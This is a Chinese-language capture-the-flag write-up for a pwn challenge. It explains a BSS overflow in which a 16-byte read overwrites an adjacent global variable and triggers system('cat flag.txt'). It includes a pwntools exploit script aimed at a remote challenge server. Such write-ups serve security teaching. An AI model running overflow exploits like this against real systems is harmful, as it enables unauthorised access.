题目描述
pwn!,segment fault!菜鸡陷入了深思
Solution
首先分析文件信息:

这是一个 ELF64 文件,没有金丝雀,不是位置无关程序,但开启了栈不可执行。运行程序,输入一个字符串后退出。我们把它拖入 IDA 分析。

main()函数的流程很简单, 只要全局变量global_var2的值等于"aaun"(小端),我们就执行system("cat flag.txt")函数。

这次是 BSS Section 的溢出,我们由图可知,read()读取了 16 个字符,而global_var1只要大于 4 个字节就会覆盖到global_var2的地址。
我们编写 Python 脚本:
from pwn import *#conn = process('./009')conn = remote('111.200.241.244', 63930)payload = b'A' * 4 + b'aaun'conn.recvuntil("bof\n")conn.sendline(payload)conn.interactive()
运行结果如下:

